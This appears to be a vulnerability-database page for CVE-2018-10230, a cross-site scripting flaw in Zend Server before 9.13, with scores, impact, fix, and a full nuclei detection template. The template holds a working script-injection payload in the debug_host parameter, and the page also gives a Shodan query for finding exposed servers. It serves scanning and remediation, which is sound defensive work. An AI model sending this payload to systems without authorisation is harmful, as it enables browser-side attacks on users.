HexBrain

Browse / CVEs / CVE-2018-10230

CVE-2018-10230· zend / zend server· CWE-79

Zend Server <9.13 - Cross-Site Scripting

mediumseverity
6.1CVSS score
2.6%likelihood of exploitation, next 30 days
86%of all CVEs are less likely
Readycheck to confirm it

Zend Server before version 9.13 is vulnerable to cross-site scripting via the debug_host parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade Zend Server to version 9.13 or later to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?debug_host=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&start_debug=1
Positive when: contains "</script><script>alert(document.domain)</script>" and "is not allowed to open debug sessions" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2018-10230 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2018-10230

info:
  name: Zend Server <9.13 - Cross-Site Scripting
  author: marcos_iaf
  severity: medium
  description: |
    Zend Server before version 9.13 is vulnerable to cross-site scripting via the debug_host parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade Zend Server to version 9.13 or later to mitigate this vulnerability.
  reference:
    - https://www.synacktiv.com/ressources/zend_server_9_1_3_xss.pdf
    - https://www.zend.com/en/products/server/release-notes
    - https://nvd.nist.gov/vuln/detail/CVE-2018-10230
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-10230
    cwe-id: CWE-79
    epss-score: 0.02613
    epss-percentile: 0.85554
    cpe: cpe:2.3:a:zend:zend_server:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zend
    product: zend_server
    shodan-query: cpe:"cpe:2.3:a:zend:zend_server"
  tags: cve,cve2018,xss,zend,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?debug_host=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&start_debug=1"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"
          - "is not allowed to open debug sessions"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from